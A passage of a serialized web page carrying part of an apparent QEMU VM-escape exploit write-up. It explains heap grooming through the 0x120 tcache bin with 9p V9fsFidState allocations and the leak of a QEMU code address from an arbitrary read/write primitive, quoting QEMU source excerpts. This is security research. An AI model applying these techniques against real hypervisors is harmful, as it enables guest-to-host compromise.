",{"type":24,"tag":32,"props":129378,"children":129380},{"className":129379},[],[129381],{"type":29,"value":129309},{"type":29,"value":129383}," falls into the ",{"type":24,"tag":32,"props":129385,"children":129387},{"className":129386},[],[129388],{"type":29,"value":129389},"0x120",{"type":29,"value":129391}," size class. Before freeing ",{"type":24,"tag":32,"props":129393,"children":129395},{"className":129394},[],[129396],{"type":29,"value":128878},{"type":29,"value":129398},", we therefore use the oversized ",{"type":24,"tag":32,"props":129400,"children":129402},{"className":129401},[],[129403],{"type":29,"value":128886},{"type":29,"value":129405}," chunk to change its size to match ",{"type":24,"tag":32,"props":129407,"children":129409},{"className":129408},[],[129410],{"type":29,"value":129309},{"type":29,"value":129412},". Once ",{"type":24,"tag":32,"props":129414,"children":129416},{"className":129415},[],[129417],{"type":29,"value":128878},{"type":29,"value":129419}," is freed, it is inserted into the ",{"type":24,"tag":32,"props":129421,"children":129423},{"className":129422},[],[129424],{"type":29,"value":129389},{"type":29,"value":129426}," tcache bin.",{"type":24,"tag":73,"props":129428,"children":129430},{"code":129429},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[129431],{"type":24,"tag":32,"props":129432,"children":129433},{"__ignoreMap":7},[129434],{"type":29,"value":129429},{"type":24,"tag":25,"props":129436,"children":129437},{},[129438,129440,129445,129447,129453,129455,129461,129463,129468],{"type":29,"value":129439},"After that, we can simply allocate a new ",{"type":24,"tag":32,"props":129441,"children":129443},{"className":129442},[],[129444],{"type":29,"value":129309},{"type":29,"value":129446}," with a ",{"type":24,"tag":32,"props":129448,"children":129450},{"className":129449},[],[129451],{"type":29,"value":129452},"P9_TWALK",{"type":29,"value":129454}," request and a fresh FID - this reaches ",{"type":24,"tag":32,"props":129456,"children":129458},{"className":129457},[],[129459],{"type":29,"value":129460},"alloc_fid",{"type":29,"value":129462},", which allocates a new ",{"type":24,"tag":32,"props":129464,"children":129466},{"className":129465},[],[129467],{"type":29,"value":129309},{"type":29,"value":195},{"type":24,"tag":73,"props":129470,"children":129472},{"code":129471,"language":2891,"meta":7,"className":16250,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[129473],{"type":24,"tag":32,"props":129474,"children":129475},{"__ignoreMap":7},[129476,129516,129523,129539,129567,129574,129581,129588,129609,129616,129631,129653,129677,129698,129709,129716,129754,129796,129803,129810,129817,129824,129831,129882,129889,129904,129911,129959,129971,129979,130008,130023,130030,130059,130066],{"type":24,"tag":83,"props":129477,"children":129478},{"class":85,"line":86},[129479,129483,129487,129491,129496,129500,129504,129508,129512],{"type":24,"tag":83,"props":129480,"children":129481},{"style":90},[129482],{"type":29,"value":50759},{"type":24,"tag":83,"props":129484,"children":129485},{"style":90},[129486],{"type":29,"value":50764},{"type":24,"tag":83,"props":129488,"children":129489},{"style":107},[129490],{"type":29,"value":127477},{"type":24,"tag":83,"props":129492,"children":129493},{"style":101},[129494],{"type":29,"value":129495},"v9fs_walk",{"type":24,"tag":83,"props":129497,"children":129498},{"style":107},[129499],{"type":29,"value":558},{"type":24,"tag":83,"props":129501,"children":129502},{"style":90},[129503],{"type":29,"value":51342},{"type":24,"tag":83,"props":129505,"children":129506},{"style":143},[129507],{"type":29,"value":9563},{"type":24,"tag":83,"props":129509,"children":129510},{"style":137},[129511],{"type":29,"value":127499},{"type":24,"tag":83,"props":129513,"children":129514},{"style":107},[129515],{"type":29,"value":2905},{"type":24,"tag":83,"props":129517,"children":129518},{"class":85,"line":113},[129519],{"type":24,"tag":83,"props":129520,"children":129521},{"style":107},[129522],{"type":29,"value":10628},{"type":24,"tag":83,"props":129524,"children":129525},{"class":85,"line":128},[129526,129530,129534],{"type":24,"tag":83,"props":129527,"children":129528},{"style":107},[129529],{"type":29,"value":127624},{"type":24,"tag":83,"props":129531,"children":129532},{"style":143},[129533],{"type":29,"value":4315},{"type":24,"tag":83,"props":129535,"children":129536},{"style":107},[129537],{"type":29,"value":129538},"fidp;\n",{"type":24,"tag":83,"props":129540,"children":129541},{"class":85,"line":183},[129542,129546,129550,129555,129559,129563],{"type":24,"tag":83,"props":129543,"children":129544},{"style":107},[129545],{"type":29,"value":127624},{"type":24,"tag":83,"props":129547,"children":129548},{"style":143},[129549],{"type":29,"value":4315},{"type":24,"tag":83,"props":129551,"children":129552},{"style":107},[129553],{"type":29,"value":129554},"newfidp ",{"type":24,"tag":83,"props":129556,"children":129557},{"style":143},[129558],{"type":29,"value":1275},{"type":24,"tag":83,"props":129560,"children":129561},{"style":90},[129562],{"type":29,"value":127303},{"type":24,"tag":83,"props":129564,"children":129565},{"style":107},[129566],{"type":29,"value":321},{"type":24,"tag":83,"props":129568,"children":129569},{"class":85,"line":203},[129570],{"type":24,"tag":83,"props":129571,"children":129572},{"emptyLinePlaceholder":16},[129573],{"type":29,"value":3422},{"type":24,"tag":83,"props":129575,"children":129576},{"class":85,"line":212},[129577],{"type":24,"tag":83,"props":129578,"children":129579},{"style":107},[129580],{"type":29,"value":104334},{"type":24,"tag":83,"props":129582,"children":129583},{"class":85,"line":256},[129584],{"type":24,"tag":83,"props":129585,"children":129586},{"emptyLinePlaceholder":16},[129587],{"type":29,"value":3422},{"type":24,"tag":83,"props":129589,"children":129590},{"class":85,"line":270},[129591,129595,129600,129604],{"type":24,"tag":83,"props":129592,"children":129593},{"style":117},[129594],{"type":29,"value":218},{"type":24,"tag":83,"props":129596,"children":129597},{"style":107},[129598],{"type":29,"value":129599}," (fid ",{"type":24,"tag":83,"props":129601,"children":129602},{"style":143},[129603],{"type":29,"value":8320},{"type":24,"tag":83,"props":129605,"children":129606},{"style":107},[129607],{"type":29,"value":129608}," newfid) {\n",{"type":24,"tag":83,"props":129610,"children":129611},{"class":85,"line":302},[129612],{"type":24,"tag":83,"props":129613,"children":129614},{"style":107},[129615],{"type":29,"value":123572},{"type":24,"tag":83,"props":129617,"children":129618},{"class":85,"line":324},[129619,129623,129627],{"type":24,"tag":83,"props":129620,"children":129621},{"style":107},[129622],{"type":29,"value":373},{"type":24,"tag":83,"props":129624,"children":129625},{"style":117},[129626],{"type":29,"value":378},{"type":24,"tag":83,"props":129628,"children":129629},{"style":107},[129630],{"type":29,"value":125},{"type":24,"tag":83,"props":129632,"children":129633},{"class":85,"line":345},[129634,129639,129643,129648],{"type":24,"tag":83,"props":129635,"children":129636},{"style":107},[129637],{"type":29,"value":129638},"        newfidp ",{"type":24,"tag":83,"props":129640,"children":129641},{"style":143},[129642],{"type":29,"value":1275},{"type":24,"tag":83,"props":129644,"children":129645},{"style":101},[129646],{"type":29,"value":129647}," alloc_fid",{"type":24,"tag":83,"props":129649,"children":129650},{"style":107},[129651],{"type":29,"value":129652},"(s, newfid);\n",{"type":24,"tag":83,"props":129654,"children":129655},{"class":85,"line":358},[129656,129660,129665,129669,129673],{"type":24,"tag":83,"props":129657,"children":129658},{"style":117},[129659],{"type":29,"value":3018},{"type":24,"tag":83,"props":129661,"children":129662},{"style":107},[129663],{"type":29,"value":129664}," (newfidp ",{"type":24,"tag":83,"props":129666,"children":129667},{"style":143},[129668],{"type":29,"value":8320},{"type":24,"tag":83,"props":129670,"children":129671},{"style":90},[129672],{"type":29,"value":127303},{"type":24,"tag":83,"props":129674,"children":129675},{"style":107},[129676],{"type":29,"value":253},{"type":24,"tag":83,"props":129678,"children":129679},{"class":85,"line":367},[129680,129685,129689,129693],{"type":24,"tag":83,"props":129681,"children":129682},{"style":107},[129683],{"type":29,"value":129684},"            err ",{"type":24,"tag":83,"props":129686,"children":129687},{"style":143},[129688],{"type":29,"value":1275},{"type":24,"tag":83,"props":129690,"children":129691},{"style":143},[129692],{"type":29,"value":50970},{"type":24,"tag":83,"props":129694,"children":129695},{"style":107},[129696],{"type":29,"value":129697},"EINVAL;\n",{"type":24,"tag":83,"props":129699,"children":129700},{"class":85,"line":406},[129701,129705],{"type":24,"tag":83,"props":129702,"children":129703},{"style":117},[129704],{"type":29,"value":60264},{"type":24,"tag":83,"props":129706,"children":129707},{"style":107},[129708],{"type":29,"value":60269},{"type":24,"tag":83,"props":129710,"children":129711},{"class":85,"line":427},[129712],{"type":24,"tag":83,"props":129713,"children":129714},{"style":107},[129715],{"type":29,"value":3092},{"type":24,"tag":83,"props":129717,"children":129718},{"class":85,"line":440},[129719,129724,129728,129733,129737,129742,129746,129750],{"type":24,"tag":83,"props":129720,"children":129721},{"style":137},[129722],{"type":29,"value":129723},"        newfidp",{"type":24,"tag":83,"props":129725,"children":129726},{"style":107},[129727],{"type":29,"value":13502},{"type":24,"tag":83,"props":129729,"children":129730},{"style":137},[129731],{"type":29,"value":129732},"uid",{"type":24,"tag":83,"props":129734,"children":129735},{"style":143},[129736],{"type":29,"value":146},{"type":24,"tag":83,"props":129738,"children":129739},{"style":137},[129740],{"type":29,"value":129741}," fidp",{"type":24,"tag":83,"props":129743,"children":129744},{"style":107},[129745],{"type":29,"value":13502},{"type":24,"tag":83,"props":129747,"children":129748},{"style":137},[129749],{"type":29,"value":129732},{"type":24,"tag":83,"props":129751,"children":129752},{"style":107},[129753],{"type":29,"value":321},{"type":24,"tag":83,"props":129755,"children":129756},{"class":85,"line":449},[129757,129762,129766,129770,129775,129779,129783,129787,129791],{"type":24,"tag":83,"props":129758,"children":129759},{"style":101},[129760],{"type":29,"value":129761},"        v9fs_path_copy",{"type":24,"tag":83,"props":129763,"children":129764},{"style":107},[129765],{"type":29,"value":558},{"type":24,"tag":83,"props":129767,"children":129768},{"style":143},[129769],{"type":29,"value":2853},{"type":24,"tag":83,"props":129771,"children":129772},{"style":137},[129773],{"type":29,"value":129774},"newfidp",{"type":24,"tag":83,"props":129776,"children":129777},{"style":107},[129778],{"type":29,"value":13502},{"type":24,"tag":83,"props":129780,"children":129781},{"style":137},[129782],{"type":29,"value":111857},{"type":24,"tag":83,"props":129784,"children":129785},{"style":107},[129786],{"type":29,"value":568},{"type":24,"tag":83,"props":129788,"children":129789},{"style":143},[129790],{"type":29,"value":2853},{"type":24,"tag":83,"props":129792,"children":129793},{"style":107},[129794],{"type":29,"value":129795},"path);\n",{"type":24,"tag":83,"props":129797,"children":129798},{"class":85,"line":458},[129799],{"type":24,"tag":83,"props":129800,"children":129801},{"style":107},[129802],{"type":29,"value":446},{"type":24,"tag":83,"props":129804,"children":129805},{"class":85,"line":1065},[129806],{"type":24,"tag":83,"props":129807,"children":129808},{"emptyLinePlaceholder":16},[129809],{"type":29,"value":3422},{"type":24,"tag":83,"props":129811,"children":129812},{"class":85,"line":1668},[129813],{"type":24,"tag":83,"props":129814,"children":129815},{"style":107},[129816],{"type":29,"value":104334},{"type":24,"tag":83,"props":129818,"children":129819},{"class":85,"line":1713},[129820],{"type":24,"tag":83,"props":129821,"children":129822},{"style":107},[129823],{"type":29,"value":464},{"type":24,"tag":83,"props":129825,"children":129826},{"class":85,"line":1730},[129827],{"type":24,"tag":83,"props":129828,"children":129829},{"emptyLinePlaceholder":16},[129830],{"type":29,"value":3422},{"type":24,"tag":83,"props":129832,"children":129833},{"class":85,"line":1770},[129834,129838,129843,129847,129851,129856,129860,129864,129868,129873,129878],{"type":24,"tag":83,"props":129835,"children":129836},{"style":90},[129837],{"type":29,"value":50759},{"type":24,"tag":83,"props":129839,"children":129840},{"style":107},[129841],{"type":29,"value":129842}," V9fsFidState ",{"type":24,"tag":83,"props":129844,"children":129845},{"style":143},[129846],{"type":29,"value":4315},{"type":24,"tag":83,"props":129848,"children":129849},{"style":101},[129850],{"type":29,"value":129460},{"type":24,"tag":83,"props":129852,"children":129853},{"style":107},[129854],{"type":29,"value":129855},"(V9fsState ",{"type":24,"tag":83,"props":129857,"children":129858},{"style":143},[129859],{"type":29,"value":4315},{"type":24,"tag":83,"props":129861,"children":129862},{"style":137},[129863],{"type":29,"value":10399},{"type":24,"tag":83,"props":129865,"children":129866},{"style":107},[129867],{"type":29,"value":568},{"type":24,"tag":83,"props":129869,"children":129870},{"style":90},[129871],{"type":29,"value":129872},"int32_t",{"type":24,"tag":83,"props":129874,"children":129875},{"style":137},[129876],{"type":29,"value":129877}," fid",{"type":24,"tag":83,"props":129879,"children":129880},{"style":107},[129881],{"type":29,"value":2905},{"type":24,"tag":83,"props":129883,"children":129884},{"class":85,"line":1778},[129885],{"type":24,"tag":83,"props":129886,"children":129887},{"style":107},[129888],{"type":29,"value":10628},{"type":24,"tag":83,"props":129890,"children":129891},{"class":85,"line":1803},[129892,129896,129900],{"type":24,"tag":83,"props":129893,"children":129894},{"style":107},[129895],{"type":29,"value":127624},{"type":24,"tag":83,"props":129897,"children":129898},{"style":143},[129899],{"type":29,"value":4315},{"type":24,"tag":83,"props":129901,"children":129902},{"style":107},[129903],{"type":29,"value":50880},{"type":24,"tag":83,"props":129905,"children":129906},{"class":85,"line":1811},[129907],{"type":24,"tag":83,"props":129908,"children":129909},{"emptyLinePlaceholder":16},[129910],{"type":29,"value":3422},{"type":24,"tag":83,"props":129912,"children":129913},{"class":85,"line":8792},[129914,129919,129923,129928,129932,129936,129940,129945,129949,129954],{"type":24,"tag":83,"props":129915,"children":129916},{"style":107},[129917],{"type":29,"value":129918},"    f ",{"type":24,"tag":83,"props":129920,"children":129921},{"style":143},[129922],{"type":29,"value":1275},{"type":24,"tag":83,"props":129924,"children":129925},{"style":101},[129926],{"type":29,"value":129927}," g_hash_table_lookup",{"type":24,"tag":83,"props":129929,"children":129930},{"style":107},[129931],{"type":29,"value":558},{"type":24,"tag":83,"props":129933,"children":129934},{"style":137},[129935],{"type":29,"value":10399},{"type":24,"tag":83,"props":129937,"children":129938},{"style":107},[129939],{"type":29,"value":13502},{"type":24,"tag":83,"props":129941,"children":129942},{"style":137},[129943],{"type":29,"value":129944},"fids",{"type":24,"tag":83,"props":129946,"children":129947},{"style":107},[129948],{"type":29,"value":568},{"type":24,"tag":83,"props":129950,"children":129951},{"style":101},[129952],{"type":29,"value":129953},"GINT_TO_POINTER",{"type":24,"tag":83,"props":129955,"children":129956},{"style":107},[129957],{"type":29,"value":129958},"(fid));\n",{"type":24,"tag":83,"props":129960,"children":129961},{"class":85,"line":8810},[129962,129966],{"type":24,"tag":83,"props":129963,"children":129964},{"style":117},[129965],{"type":29,"value":218},{"type":24,"tag":83,"props":129967,"children":129968},{"style":107},[129969],{"type":29,"value":129970}," (f) {\n",{"type":24,"tag":83,"props":129972,"children":129973},{"class":85,"line":8855},[129974],{"type":24,"tag":83,"props":129975,"children":129976},{"style":2735},[129977],{"type":29,"value":129978},"        /* If fid is already there return NULL */\n",{"type":24,"tag":83,"props":129980,"children":129981},{"class":85,"line":8961},[129982,129987,129991,129995,129999,130004],{"type":24,"tag":83,"props":129983,"children":129984},{"style":101},[129985],{"type":29,"value":129986},"        BUG_ON",{"type":24,"tag":83,"props":129988,"children":129989},{"style":107},[129990],{"type":29,"value":558},{"type":24,"tag":83,"props":129992,"children":129993},{"style":137},[129994],{"type":29,"value":32824},{"type":24,"tag":83,"props":129996,"children":129997},{"style":107},[129998],{"type":29,"value":13502},{"type":24,"tag":83,"props":130000,"children":130001},{"style":137},[130002],{"type":29,"value":130003},"clunked",{"type":24,"tag":83,"props":130005,"children":130006},{"style":107},[130007],{"type":29,"value":581},{"type":24,"tag":83,"props":130009,"children":130010},{"class":85,"line":23248},[130011,130015,130019],{"type":24,"tag":83,"props":130012,"children":130013},{"style":117},[130014],{"type":29,"value":15482},{"type":24,"tag":83,"props":130016,"children":130017},{"style":90},[130018],{"type":29,"value":127303},{"type":24,"tag":83,"props":130020,"children":130021},{"style":107},[130022],{"type":29,"value":321},{"type":24,"tag":83,"props":130024,"children":130025},{"class":85,"line":23283},[130026],{"type":24,"tag":83,"props":130027,"children":130028},{"style":107},[130029],{"type":29,"value":446},{"type":24,"tag":83,"props":130031,"children":130032},{"class":85,"line":23291},[130033,130037,130041,130046,130051,130055],{"type":24,"tag":83,"props":130034,"children":130035},{"style":107},[130036],{"type":29,"value":129918},{"type":24,"tag":83,"props":130038,"children":130039},{"style":143},[130040],{"type":29,"value":1275},{"type":24,"tag":83,"props":130042,"children":130043},{"style":101},[130044],{"type":29,"value":130045}," g_new0",{"type":24,"tag":83,"props":130047,"children":130048},{"style":107},[130049],{"type":29,"value":130050},"(V9fsFidState, ",{"type":24,"tag":83,"props":130052,"children":130053},{"style":245},[130054],{"type":29,"value":3756},{"type":24,"tag":83,"props":130056,"children":130057},{"style":107},[130058],{"type":29,"value":581},{"type":24,"tag":83,"props":130060,"children":130061},{"class":85,"line":23299},[130062],{"type":24,"tag":83,"props":130063,"children":130064},{"emptyLinePlaceholder":16},[130065],{"type":29,"value":3422},{"type":24,"tag":83,"props":130067,"children":130068},{"class":85,"line":23308},[130069],{"type":24,"tag":83,"props":130070,"children":130071},{"style":107},[130072],{"type":29,"value":104334},{"type":24,"tag":25,"props":130074,"children":130075},{},[130076,130078,130083],{"type":29,"value":130077},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":32,"props":130079,"children":130081},{"className":130080},[],[130082],{"type":29,"value":128878},{"type":29,"value":128215},{"type":24,"tag":73,"props":130085,"children":130087},{"code":130086},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[130088],{"type":24,"tag":32,"props":130089,"children":130090},{"__ignoreMap":7},[130091],{"type":29,"value":130086},{"type":24,"tag":18631,"props":130093,"children":130095},{"id":130094},"leaking-a-qemu-address",[130096],{"type":29,"value":130097},"Leaking a QEMU Address",{"type":24,"tag":25,"props":130099,"children":130100},{},[130101],{"type":29,"value":130102},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":25,"props":130104,"children":130105},{},[130106,130108,130113],{"type":29,"value":130107},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":32,"props":130109,"children":130111},{"className":130110},[],[130112],{"type":29,"value":123298},{"type":29,"value":195},{"type":24,"tag":73,"props":130115,"children":130117},{"code":130116,"language":2891,"meta":7,"className":16250,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[130118],{"type":24,"tag":32,"props":130119,"children":130120},{"__ignoreMap":7},[130121,130164,130171,130202,130217,130232,130244,130257,130264,130271,130278,130289,130304,130311,130339,130358,130369,130376,130384,130421,130442,130454,130467,130480,130506,130518,130525,130563,130570,130577,130584,130615,130670,130682,130723,130746,130775,130802,130829,130861],{"type":24,"tag":83,"props":130122,"children":130123},{"class":85,"line":86},[130124,130128,130132,130136,130140,130144,130148,130152,130156,130160],{"type":24,"tag":83,"props":130125,"children":130126},{"style":90},[130127],{"type":29,"value":50759},{"type":24,"tag":83,"props":130129,"children":130130},{"style":90},[130131],{"type":29,"value":50764},{"type":24,"tag":83,"props":130133,"children":130134},{"style":101},[130135],{"type":29,"value":123377},{"type":24,"tag":83,"props":130137,"children":130138},{"style":107},[130139],{"type":29,"value":123382},{"type":24,"tag":83,"props":130141,"children":130142},{"style":143},[130143],{"type":29,"value":4315},{"type":24,"tag":83,"props":130145,"children":130146},{"style":137},[130147],{"type":29,"value":123391},{"type":24,"tag":83,"props":130149,"children":130150},{"style":107},[130151],{"type":29,"value":123396},{"type":24,"tag":83,"props":130153,"children":130154},{"style":143},[130155],{"type":29,"value":4315},{"type":24,"tag":83,"props":130157,"children":130158},{"style":137},[130159],{"type":29,"value":123405},{"type":24,"tag":83,"props":130161,"children":130162},{"style":107},[130163],{"type":29,"value":2905},{"type":24,"tag":83,"props":130165,"children":130166},{"class":85,"line":113},[130167],{"type":24,"tag":83,"props":130168,"children":130169},{"style":107},[130170],{"type":29,"value":10628},{"type":24,"tag":83,"props":130172,"children":130173},{"class":85,"line":128},[130174,130179,130183,130188,130192,130197],{"type":24,"tag":83,"props":130175,"children":130176},{"style":107},[130177],{"type":29,"value":130178},"    VirtIOSound ",{"type":24,"tag":83,"props":130180,"children":130181},{"style":143},[130182],{"type":29,"value":4315},{"type":24,"tag":83,"props":130184,"children":130185},{"style":107},[130186],{"type":29,"value":130187},"vsnd ",{"type":24,"tag":83,"props":130189,"children":130190},{"style":143},[130191],{"type":29,"value":1275},{"type":24,"tag":83,"props":130193,"children":130194},{"style":101},[130195],{"type":29,"value":130196}," VIRTIO_SND",{"type":24,"tag":83,"props":130198,"children":130199},{"style":107},[130200],{"type":29,"value":130201},"(vdev);\n",{"type":24,"tag":83,"props":130203,"children":130204},{"class":85,"line":183},[130205,130209,130213],{"type":24,"tag":83,"props":130206,"children":130207},{"style":107},[130208],{"type":29,"value":124395},{"type":24,"tag":83,"props":130210,"children":130211},{"style":143},[130212],{"type":29,"value":4315},{"type":24,"tag":83,"props":130214,"children":130215},{"style":107},[130216],{"type":29,"value":124404},{"type":24,"tag":83,"props":130218,"children":130219},{"class":85,"line":203},[130220,130224,130228],{"type":24,"tag":83,"props":130221,"children":130222},{"style":107},[130223],{"type":29,"value":123424},{"type":24,"tag":83,"props":130225,"children":130226},{"style":143},[130227],{"type":29,"value":4315},{"type":24,"tag":83,"props":130229,"children":130230},{"style":107},[130231],{"type":29,"value":123433},{"type":24,"tag":83,"props":130233,"children":130234},{"class":85,"line":212},[130235,130239],{"type":24,"tag":83,"props":130236,"children":130237},{"style":90},[130238],{"type":29,"value":16300},{"type":24,"tag":83,"props":130240,"children":130241},{"style":107},[130242],{"type":29,"value":130243}," msg_sz, size;\n",{"type":24,"tag":83,"props":130245,"children":130246},{"class":85,"line":256},[130247,130252],{"type":24,"tag":83,"props":130248,"children":130249},{"style":90},[130250],{"type":29,"value":130251},"    uint32_t",{"type":24,"tag":83,"props":130253,"children":130254},{"style":107},[130255],{"type":29,"value":130256}," stream_id;\n",{"type":24,"tag":83,"props":130258,"children":130259},{"class":85,"line":270},[130260],{"type":24,"tag":83,"props":130261,"children":130262},{"emptyLinePlaceholder":16},[130263],{"type":29,"value":3422},{"type":24,"tag":83,"props":130265,"children":130266},{"class":85,"line":302},[130267],{"type":24,"tag":83,"props":130268,"children":130269},{"style":107},[130270],{"type":29,"value":104334},{"type":24,"tag":83,"props":130272,"children":130273},{"class":85,"line":324},[130274],{"type":24,"tag":83,"props":130275,"children":130276},{"emptyLinePlaceholder":16},[130277],{"type":29,"value":3422},{"type":24,"tag":83,"props":130279,"children":130280},{"class":85,"line":345},[130281,130285],{"type":24,"tag":83,"props":130282,"children":130283},{"style":117},[130284],{"type":29,"value":2777},{"type":24,"tag":83,"props":130286,"children":130287},{"style":107},[130288],{"type":29,"value":123459},{"type":24,"tag":83,"props":130290,"children":130291},{"class":85,"line":358},[130292,130296,130300],{"type":24,"tag":83,"props":130293,"children":130294},{"style":107},[130295],{"type":29,"value":123467},{"type":24,"tag":83,"props":130297,"children":130298},{"style":143},[130299],{"type":29,"value":4315},{"type":24,"tag":83,"props":130301,"children":130302},{"style":107},[130303],{"type":29,"value":123476},{"type":24,"tag":83,"props":130305,"children":130306},{"class":85,"line":367},[130307],{"type":24,"tag":83,"props":130308,"children":130309},{"emptyLinePlaceholder":16},[130310],{"type":29,"value":3422},{"type":24,"tag":83,"props":130312,"children":130313},{"class":85,"line":406},[130314,130318,130322,130326,130330,130334],{"type":24,"tag":83,"props":130315,"children":130316},{"style":107},[130317],{"type":29,"value":123491},{"type":24,"tag":83,"props":130319,"children":130320},{"style":143},[130321],{"type":29,"value":1275},{"type":24,"tag":83,"props":130323,"children":130324},{"style":101},[130325],{"type":29,"value":123500},{"type":24,"tag":83,"props":130327,"children":130328},{"style":107},[130329],{"type":29,"value":123505},{"type":24,"tag":83,"props":130331,"children":130332},{"style":90},[130333],{"type":29,"value":55041},{"type":24,"tag":83,"props":130335,"children":130336},{"style":107},[130337],{"type":29,"value":130338},"(VirtQueueElement));\n",{"type":24,"tag":83,"props":130340,"children":130341},{"class":85,"line":427},[130342,130346,130350,130354],{"type":24,"tag":83,"props":130343,"children":130344},{"style":117},[130345],{"type":29,"value":3018},{"type":24,"tag":83,"props":130347,"children":130348},{"style":107},[130349],{"type":29,"value":223},{"type":24,"tag":83,"props":130351,"children":130352},{"style":143},[130353],{"type":29,"value":20362},{"type":24,"tag":83,"props":130355,"children":130356},{"style":107},[130357],{"type":29,"value":123539},{"type":24,"tag":83,"props":130359,"children":130360},{"class":85,"line":440},[130361,130365],{"type":24,"tag":83,"props":130362,"children":130363},{"style":117},[130364],{"type":29,"value":3044},{"type":24,"tag":83,"props":130366,"children":130367},{"style":107},[130368],{"type":29,"value":321},{"type":24,"tag":83,"props":130370,"children":130371},{"class":85,"line":449},[130372],{"type":24,"tag":83,"props":130373,"children":130374},{"style":107},[130375],{"type":29,"value":3092},{"type":24,"tag":83,"props":130377,"children":130378},{"class":85,"line":458},[130379],{"type":24,"tag":83,"props":130380,"children":130381},{"style":2735},[130382],{"type":29,"value":130383},"        /* get the message hdr object */\n",{"type":24,"tag":83,"props":130385,"children":130386},{"class":85,"line":1065},[130387,130392,130396,130401,130405,130409,130413,130417],{"type":24,"tag":83,"props":130388,"children":130389},{"style":107},[130390],{"type":29,"value":130391},"        msg_sz ",{"type":24,"tag":83,"props":130393,"children":130394},{"style":143},[130395],{"type":29,"value":1275},{"type":24,"tag":83,"props":130397,"children":130398},{"style":101},[130399],{"type":29,"value":130400}," iov_to_buf",{"type":24,"tag":83,"props":130402,"children":130403},{"style":107},[130404],{"type":29,"value":558},{"type":24,"tag":83,"props":130406,"children":130407},{"style":137},[130408],{"type":29,"value":51778},{"type":24,"tag":83,"props":130410,"children":130411},{"style":107},[130412],{"type":29,"value":13502},{"type":24,"tag":83,"props":130414,"children":130415},{"style":137},[130416],{"type":29,"value":123943},{"type":24,"tag":83,"props":130418,"children":130419},{"style":107},[130420],{"type":29,"value":989},{"type":24,"tag":83,"props":130422,"children":130423},{"class":85,"line":1668},[130424,130429,130433,130438],{"type":24,"tag":83,"props":130425,"children":130426},{"style":137},[130427],{"type":29,"value":130428},"                            elem",{"type":24,"tag":83,"props":130430,"children":130431},{"style":107},[130432],{"type":29,"value":13502},{"type":24,"tag":83,"props":130434,"children":130435},{"style":137},[130436],{"type":29,"value":130437},"out_num",{"type":24,"tag":83,"props":130439,"children":130440},{"style":107},[130441],{"type":29,"value":989},{"type":24,"tag":83,"props":130443,"children":130444},{"class":85,"line":1713},[130445,130450],{"type":24,"tag":83,"props":130446,"children":130447},{"style":245},[130448],{"type":29,"value":130449},"                            0",{"type":24,"tag":83,"props":130451,"children":130452},{"style":107},[130453],{"type":29,"value":989},{"type":24,"tag":83,"props":130455,"children":130456},{"class":85,"line":1730},[130457,130462],{"type":24,"tag":83,"props":130458,"children":130459},{"style":143},[130460],{"type":29,"value":130461},"                            &",{"type":24,"tag":83,"props":130463,"children":130464},{"style":107},[130465],{"type":29,"value":130466},"hdr,\n",{"type":24,"tag":83,"props":130468,"children":130469},{"class":85,"line":1770},[130470,130475],{"type":24,"tag":83,"props":130471,"children":130472},{"style":90},[130473],{"type":29,"value":130474},"                            sizeof",{"type":24,"tag":83,"props":130476,"children":130477},{"style":107},[130478],{"type":29,"value":130479},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":83,"props":130481,"children":130482},{"class":85,"line":1778},[130483,130487,130492,130496,130501],{"type":24,"tag":83,"props":130484,"children":130485},{"style":117},[130486],{"type":29,"value":3018},{"type":24,"tag":83,"props":130488,"children":130489},{"style":107},[130490],{"type":29,"value":130491}," (msg_sz 